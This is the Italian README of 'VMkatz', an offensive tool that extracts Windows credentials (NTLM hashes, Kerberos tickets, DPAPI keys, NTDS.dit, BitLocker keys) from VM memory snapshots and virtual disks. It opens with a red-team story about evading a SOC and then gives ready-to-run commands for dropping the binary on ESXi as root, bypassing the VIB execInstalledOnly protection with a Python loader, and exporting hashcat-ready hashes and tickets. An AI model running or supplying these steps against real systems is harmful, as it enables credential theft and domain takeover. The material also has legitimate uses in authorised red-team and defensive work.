
Estrai le credenziali di Windows direttamente dagli snapshot della memoria delle VM e dai dischi virtuali.
Sei immerso da tre settimane in un engagement di red team. Il tuo traffico passa attraverso una VPN, poi rimbalza su quattro proxy SOCKS concatenati attraverso jump box compromesse prima di toccare la rete target. Ogni pacchetto fa il giro lungo.
Dopo giorni di movimento laterale, atterri su un NAS collegato al cluster di virtualizzazione e la lista delle directory colpisce diversamente: file su file di .vmdk, .vmsn, .sav. Centinaia di gigabyte di macchine virtuali — controller di dominio, workstation amministrative, i gioielli della corona — proprio lì.
Ma il tuo collegamento ansima a 200 KB/s. Scaricare una singola immagine disco da 100 GB richiederebbe sei giorni, e ogni ora di esfiltrazione continua è un'ulteriore occasione per il SOC di notare l'anomalia, bruciare il tuo tunnel, e l'intera catena collassa.
VMkatz esiste perché non dovresti dover esfiltrare ciò che puoi leggere sul posto. Estrae segreti Windows — hash NTLM, chiavi master DPAPI, ticket Kerberos, credenziali di dominio memorizzate nella cache, segreti LSA, NTDS.dit, chiavi BitLocker — direttamente da snapshot di memoria e dischi virtuali della VM, sul NAS, sull'hypervisor, ovunque siano i file della VM.
Un singolo binario statico, circa 3 MB. Lascialo cadere sull'host ESXi, sul nodo Proxmox o sul NAS. Puntalo a un .vmsn, .vmdk o a un'intera cartella VM. Vattene con le credenziali, non con le immagini disco.
Tutti i 9 provider di credenziali SSP implementati da mimikatz:
Più: Estrazione FVEK di BitLocker dalla memoria (scansione pool tag per FVEc/Cngb).
$DPAPImk$ — modalità 15300/15310/15900/15910)Sistema operativo target: Windows Server 2003 fino a Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Estrae credenziali LSASS da uno snapshot VMware
./vmkatz snapshot.vmsn
# Con risoluzione pagefile per credenziali paged-out
./vmkatz --disk disk.vmdk snapshot.vmsn
# Estrae SAM/LSA/DCC2 da un disco virtuale
./vmkatz disk.vmdk
# Estrae hash AD da un disco controller di dominio
./vmkatz --ntds dc-disk.qcow2
# Punta a una cartella VM e lascia che trovi tutto
./vmkatz /path/to/vm-directory/
# Estrae da hive di registro grezzi
./vmkatz SAM SYSTEM SECURITY
# Output come hash pronti per hashcat
./vmkatz --format hashcat snapshot.vmsn
# Esporta ticket Kerberos
./vmkatz --kirbi snapshot.vmsn # file .kirbi
./vmkatz --ccache snapshot.vmsn # file .ccache
# Esporta FVEK di BitLocker per dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Scansione ricorsiva di tutte le VM sotto un percorso
./vmkatz -r /vmfs/volumes/datastore1/
# Analizza minidump LSASS
./vmkatz lsass.dmp
# Cross-compila per ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Carica ed esegui
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
Quando la protezione VIB (execInstalledOnly) è attivata, usa il loader Python — nessuna necessità di disabilitare l'impostazione:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
Vedi docs/esxi.md per dettagli sul bypass VIB, accesso raw a dispositivi VMFS e scoperta automatica.
VMkatz è modulare. Le funzionalità possono essere abilitate/disabilitate in fase di compilazione:
cargo build --release # Build completa
cargo build --release --no-default-features --features vmware # Solo VMware
cargo build --release --no-default-features --features "sam ntds.dit" # Solo disco
| Provider | Dati | Note |
|---|
| MSV1_0 | Hash NT/LM, SHA1 | Fallback di scansione fisica per voci paginate |
| WDigest | Password in chiaro | Camminamento lista collegata + fallback .data |
| Kerberos | Chiavi AES/RC4/DES, ticket (.kirbi/.ccache) | Camminamento albero AVL + carving ticket per sessioni liberate |
| TsPkg | Password in chiaro | Solo sessioni RDP |
| DPAPI | Cache della chiave master (GUID + chiave decifrata) | SHA1 masterkey per decifratura DPAPI offline |
| SSP | Credenziali in chiaro | SspCredentialList in msv1_0.dll |
| LiveSSP | Credenziali in chiaro | Richiede livessp.dll (raro dopo Win8) |
| Credman | Credenziali memorizzate | Enumerazione tabella hash + lista singola |
| CloudAP | Token Azure AD | Tipicamente vuoto per logon solo locale |
| Formato | Estensioni | Fonte | Stato |
|---|
| Snapshot VMware | .vmsn + .vmem | Workstation, ESXi | Testato |
| Snapshot VMware incorporati | .vmsn (senza .vmem) | Sospensione ESXi | Testato |
| Stati salvati VirtualBox | .sav | VirtualBox | Testato |
| Stati savevm QEMU/KVM | rilevati automaticamente | Proxmox, QEMU | Testato |
| Core dump ELF QEMU/KVM | .elf | virsh dump | Testato |
| Stati salvati Hyper-V | .vmrs | Hyper-V 2016+ | Non testato |
| Dischi virtuali VMware | .vmdk (sparse + flat) | Workstation, ESXi | Testato |
| Dischi virtuali VirtualBox | .vdi | VirtualBox | Testato |
| Dischi virtuali QEMU/KVM | .qcow2 | QEMU, Proxmox | Testato |
| Dischi virtuali Hyper-V | .vhdx, .vhd | Hyper-V | Testato |
| Dispositivi SCSI grezzi VMFS-5/6 | /dev/disks/... | ESXi (bypassa blocchi di file) | Testato |
| Dispositivi a blocchi LVM | /dev/... | LVM-thin su Proxmox | Testato |
| Hive di registro grezzi | SAM, SYSTEM, SECURITY | reg save | Testato |
| NTDS.dit grezzo | ntds.dit + SYSTEM | Controller di dominio | Testato |
| Minidump LSASS | .dmp | procdump, Task Manager | Testato |
| Directory di VM | qualsiasi cartella | Scopre automaticamente tutti i file | Testato |
| Formato | Flag | Descrizione |
|---|
text | --format text (predefinito) | Dump completo delle credenziali con metadati di sessione |
brief | --format brief | Riepilogo compatto di una riga per credenziale |
ntlm | --format ntlm | Formato pwdump DOMINIO\utente:::hash::: |
hashcat | --format hashcat | Hash grezzi: modalità 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | Leggibile da macchina, tutti i campi |
| Funzionalità | Descrizione | Predefinito |
|---|
vmware | Supporto snapshot VMware .vmsn/.vmem | Sì |
vbox | Supporto stato salvato VirtualBox .sav | Sì |
qemu | Core dump ELF QEMU/KVM + savevm Proxmox | Sì |
hyperv | Supporto dump Hyper-V .vmrs/.bin/.raw | Sì |
sam | Estrazione disco (SAM/LSA/DCC2) + gestori formato disco | Sì |
ntds.dit | Estrazione AD NTDS.dit. Richiede sam | Sì |
carve | Estrazione degradata da memoria parziale/troncata | Sì |
dump | Dump della memoria del processo come minidump | Sì |
vmfs | Parser raw VMFS-5/6 per dispositivi SCSI ESXi. Richiede sam | Sì |